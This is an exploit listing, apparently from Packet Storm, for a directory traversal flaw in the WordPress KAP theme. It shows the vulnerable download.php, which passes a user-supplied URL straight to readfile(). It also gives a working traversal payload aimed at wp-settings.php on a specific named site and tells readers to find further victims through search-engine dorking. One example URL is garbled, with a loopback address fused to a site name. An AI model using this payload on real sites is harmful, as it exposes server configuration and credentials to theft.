Share
## https://sploitus.com/exploit?id=PACKETSTORM:173709
====================================================================================================================================  
| # Title : Wordpress KAP-theme v2.0 Directory Traversal Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0(64-bit) |   
| # Vendor : https://graphicriver.net/ |   
====================================================================================================================================  
  
poc :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] Use payload : /wp-content/themes/kap/download.php?url=../../../../../../../../../home/kingaport/public_html/wp-settings.php  
  
download.php  
  
<?php  
$file_url = $_GET['url'];   
header('Content-Type: application/octet-stream');  
header("Content-Transfer-Encoding: Binary");   
header("Content-disposition: attachment; filename=\"" . basename($file_url) . "\"");   
readfile($file_url);  
?>  
  
[+] http://127.0.0.1Nokingabdullahportcomsa/wp-content/themes/kap/download.php?url=../../../../../../../../../home/kingaport/public_html/wp-settings.php  
  
Greetings to :=========================================================================================================================  
jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr |  
=======================================================================================================================================